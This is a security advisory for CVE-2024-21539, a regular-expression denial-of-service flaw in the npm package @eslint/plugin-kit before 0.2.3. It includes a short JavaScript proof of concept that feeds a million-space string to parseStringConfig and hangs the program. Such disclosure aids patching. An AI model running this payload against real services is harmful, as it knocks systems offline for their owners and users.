high7.5
CVE-2024-21539
Regular Expression Denial of Service (ReDoS) in @eslint/plugin-kit
Impact
Crafting a very large and well crafted string can increase the CPU usage and crash the program. ## POC ```js const { ConfigCommentParser } = require("@eslint/plugin-kit"); var str = ""; for (var i = 0; i < 1000000; i++) { str += " "; } str += "A"; console.log("start") var parser = new ConfigCommentParser(); console.log(parser.parseStringConfig(str, "")); console.log("end") // run `npm i @eslint/plugin-kit` and `node attack.js` // then the program will stuck forever with high CPU usage ```
Affected packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| npm | @eslint/plugin-kit | < 0.2.3 | 0.2.3 |
Affected products
| Product | Affected versions |
|---|---|
| Package @Eslint/Plugin-Kit | before 0.2.3 |
Versions were read from the advisory text. No structured product data has been published for this record yet.
Weakness classification
References
- NVD record
- CVE.org record
- GitHub advisory
- https://github.com/eslint/rewrite/commit/071be842f0bd58de4863cdf2ab86d60f49912abf
- https://security.snyk.io/vuln/SNYK-JS-ESLINTPLUGINKIT-8340627
- https://github.com/advisories/GHSA-7q7g-4xm8-89cq
- https://github.com/eslint/rewrite/security/advisories/GHSA-7q7g-4xm8-89cq
- https://nvd.nist.gov/vuln/detail/CVE-2024-21539